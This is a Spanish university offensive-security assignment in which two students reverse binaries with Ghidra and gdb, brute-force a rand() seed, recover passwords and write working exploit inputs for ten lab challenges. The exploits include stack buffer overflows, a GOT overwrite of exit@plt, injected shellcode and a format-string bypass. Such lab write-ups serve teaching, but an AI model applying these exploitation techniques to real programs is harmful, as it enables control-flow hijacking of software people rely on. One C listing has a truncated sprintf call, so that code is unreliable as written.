Seguridad Ofensiva 2020: Trabajo Práctico 4

Federico Juan Badaloni y Damián Ariel Marotte

1 de diciembre de 2020

Ejercicio 1

Luego de decompilar el binario con ghidra y modificarlo cuidadosamente, obtenemos un programa como este:

```c
#include <stdio.h>
#include <stdlib.h>

void main() {
    unsigned int random;
    char entrada[128];

    srand((unsigned int) main);
    fgets(entrada, 128, stdin);

    int i = 0;
    while (entrada[i] != '\0' && entrada[i] != '\n') {
        random = rand();
        printf("%02x", (int) entrada[i] ^ random & 0xff);
        i++;
    }
    putchar('\n');
}
```

Puede observarse que la contraseña se genera aleatoriamente (puede depende de la dirección de «`main`», que es diferente en cada protección debido a diversas protecciones). Sin embargo poseemos un hash de la entrada utilizada; esto nos permitió diseñar un programa que haga fuerza bruta sobre las semillas posibles.

Para optimizar este proceso, analizamos el binario con gdb y observamos que la dirección de «`main`» era mayor a `0x50000000` y siempre se repetían los últimos 3 dígitos.

Con todo esto en mente, desarrollamos el siguiente programa que fabrica el archivo `secrets.txt`:

```c
// gcc decode.c -m32
#include <stdio.h>  // printf
#include <stdlib.h> // srand
#include <string.h> // strlen
#define FIRST_DIGIT 0xf0000000
#define LAST_DIGITS 0x66c

void main() {
    char command[300], tmp[300];
    char md5[] = "080d5caaed95af9ab072c41de3a73c24";
    unsigned char output[] = {
        0xd7, 0x40, 0xa5, 0xdc, 0x60, 0x7f, 0x78, 0xfb, 0xff, 0xe5, 0x20, 0xef,
        0xc7, 0xca, 0xeb, 0xd2, 0x13, 0x79, 0x40, 0xdd, 0xb2, 0x6c, 0x30, 0xc2,
        0xfd, 0x37, 0xed, 0x74, 0x3b, 0x77, 0x03, 0x8d, 0x32, 0x6a, 0x9c, 0x7e,
        0x7e, 0x80
    };

    int size = sizeof(output) / sizeof(output[0]);
    unsigned char input[size];

    for (int j = 0x0000; j < 0xffff; j++) {
        int seed = FIRST_DIGIT + j * 4096 + LAST_DIGITS;
        if (!(j % 0x1000)) printf("Trying seed %#x...\n", seed);

        srand(seed);
        for (int i = tmp[0] = 0; i < size; i++) {
            input[i] = output[i] ^ rand() & 0xff;
            sprintf(&tmp[strlen(tmp)], "\\x%x", input[i]);
        }
        sprintf(command, "bash -c 'echo -ne \"%s\" | md5sum | grep -q %s'\n", tmp,

        if (!system(command)) {
            fwrite(input, size, 1, fopen("secret.txt", "w"));
            printf("DONE! Look at secret.txt\n");
            return;
        }
    }
}
```

El contenido de `secrets.txt` exhibe la flag «`The flag is EKO{bullshit_PIE_over_x86}`».

Ejercicio 2

El binario que decidimos analizar fue `r1`. Para poder encontrar la contraseña ganadora, se siguió el siguiente procedimiento.

1. Decompilamos el binario con `ghidra`.
2. Luego de analizar cuidadosamente el resultado obtenido, detectamos un proceso de encriptado One Time Pad. La clave de encriptación se encuentra identificada en el binario como «*storedpass*». Revisando el desensamblado del binario puede verse que dicha clave es «`5tr0vZBrX:xTyR-P!`».
3. Finalmente, basándonos en esta información, elaboramos el siguiente programa en C que recupera la password.

```c
#include <stdio.h>

void main() {
        char storedpass[] = "5tr0vZBrX:xTyR-P!";

        for (int i = 0; storedpass[i]; i++)
                printf("%c", i ^ storedpass[i]);
}
```

La password para ganar es «`5up3r_DuP3r_u_#_1`».

Ejercicio 3

Challenge 01

1. En primer lugar comenzamos por observar el código fuente que tenemos disponible, en busca variables escribibles. En este caso en particular, la variable `buf` puede ser escrita mediante la función insegura `gets`.

2. Luego analizando el binario con `objdump -d 01-challenge` tomamos nota del lugar de memoria donde comienza la instrucción `printf` (`0x0804845a`).

3. Por ultimo, analizando el código, debemos calcular a que distancia de nuestra variable escribible está la dirección de memoria donde se encuentra apuntada la dirección a la que `main` retornará. Tenemos 80 bytes de buf, 4 bytes de cookie y 4 bytes del base pointer anterior; en total 88 bytes.

4. Con toda esta información y teniendo en cuenta el endianess de la arquitectura, podemos generar una entrada que explote el binario:

```
data = " " * 88 + "\x5a\x84\x04\x08"
print data
```

Challenge 02

Este desafío puede explotarse de manera análoga al anterior.

Challenge 03

El mismo procedimiento también puede aplicarse a este binario.

Challenge 04

1. Luego de analizar el código fuente, observamos que la dirección de retorno que queremos modificar se encuentra a $1024 \cdot 4 + 4 + 4 = 4104$ bytes de la variable `buf`.

2. Además necesitamos que la variable `size` sea menor o igual a 1024 pero que al multiplicarse por 4 sea lo suficientemente grande como

para poder alcanzar la dirección previamente mencionada. El siguiente programa en C responde rápidamente nuestra pregunta:

```c
#include <stdio.h>

void main() {
    for (int size = 0x0; size < 0xffffffff; size++) {
        int x = size * sizeof(int);

        if (size <= 1024)
            if (x > 4108) {
                printf("0x%x\n", size);
                return;
            }
    }
}
```

3. Al igual que en el primer desafío, nos valemos de `objdump` para tomar nota de la direccion donde comienza `printf` (`0x080484e7`).

4. Finalmente generamos la entrada para atacar el programa:

```
data =  "\x04\x04\x00\x80"
data += "X" * 4104 + "\xe7\x84\x04\x08"
print data
```

Challenge 05

También puede atacarse este programa siguiendo el mismo procedimiento que en el apartado anterior. Vale la pena notar que la variable `buf` se encuentra 4 bytes mas cerca en este caso.

Challenge 06

1. En esta caso no podemos modificar la dirección a la que `main` retorna, pues hay una llamada a la función `exit`. Sin embargo podemos modificar la tabla de punteros a función que se utiliza para hacer las llamadas. Para esto, utilizando `objdump`, observamos en que dirección

de memoria se encuentra el puntero a donde se saltará en la etiqueta `exit@plt` (`0x0804a014`).

2. También debemos observar donde comienza el código de la función `win` (`0x080484d8`).

3. Si prestamos atención al código fuente, la función `strcpy` nos permite escribir en la dirección apuntada por `buf01` sin necesidad de desbordamiento. Para aprovechar esto, desbordaremos la variable `buf02`, utilizándola tanto para sobrescribir `buf01` como para decidir su contenido.

4. Con toda esta información, y observando que `buf01` se encuentra a 384 bytes luego de `buf02`, podemos generar la entrada maliciosa:

```
data =  "\xd8\x84\x04\x08"
data += "X" * 380 + "\x14\xa0\x04\x08"
print data
```

Challenge 07

1. Un breve análisis del binario, nos revela que la instrucción deseada no forma parte de este, por lo tanto deberemos inyectar código para poder atacarlo. Comenzamos entonces escribiendo un pequeño programa en ensamblador que imprime la cadena deseada:

```
section .text
    global _start

_start:
    xor eax,eax
    push eax
    push 0x214e4957
    push 0x20554f59
    mov ebx, 0x1
    mov ecx, esp
    mov dl, 0x8
    mov al, 0x4
    int 0x80
```

2. Corremos el programa con `gdb`, ponemos un punto de corte con `b _start` y lo ejecutamos con `r`. Ahora podemos examinar como se almacena exactamente nuestro código en la memoria con formato decimal con signo, utilizando el comando `x/9d _start`.

3. Finalmente generamos la salida que ataca el programa, sin olvidar aplicar nuestra técnica para modificar la dirección apuntada en la etiqueta `exit@plt`:

```
print("0\n1750122545")  # 0x6850c031
print("1\n558778711")   # 0x214e4957
print("2\n1431263592")  # 0x554f5968
print("3\n113440")      # 0x0001bb20
print("4\n-511115264")  # 0xe1890000
print("5\n78645426")    # 0x04b008b2
print("6\n771784909")   # 0x2e0080cd
print("7\n1953331571")  # 0x746d7973
print("8\n771777121")   # 0x2e006261
print("-14\n134520896") # Modify exit@plt
print("1024\n1024")     # End
```

Challenge 08

Podemos utilizar las mismas técnicas descritas hasta aquí para atacar este binario. Tomamos nota de la dirección de la función objetivo, medimos el tamaño de la estructura (256 bytes + 4 bytes) y generamos la entrada. Vale la pena notar que no podemos desbordar a partir de `p[800]->data` pues previamente el código hace `free(p[i])`.

```
data =  "799"
data += "X" * 256 + "X" * 4
data += "\x80\x85\x04\x08"
print data
```

Challenge 09

En este desafío tenemos completo control sobre una cadena de formato, sin embargo el código fuente nos impide escribir «WIN!». Aprovechamos los placeholders de la función `printf` para poder esquivar esta restricción:

```
print "!YOU WIN%c"
```

Challenge 10

Observemos que el arreglo `buf` posee 255 elementos (desde el 0 al 254). Luego la función read nos permitirá desbordar solamente 2 bytes. Afortunadamente los siguientes 2 bytes ya se encuentran bien establecidos, por lo que esto será suficiente para modificar la dirección a la que `main` retorna.

```
data = "X" * 254 + "\x84\x38"
print data
```